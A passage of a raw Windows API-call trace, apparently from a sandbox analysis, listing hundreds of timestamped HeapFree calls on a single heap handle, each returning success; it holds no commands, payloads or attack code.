HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0276.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0277.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0277.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.544] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.568] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.834] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.905] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0278.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0278.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0278.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) 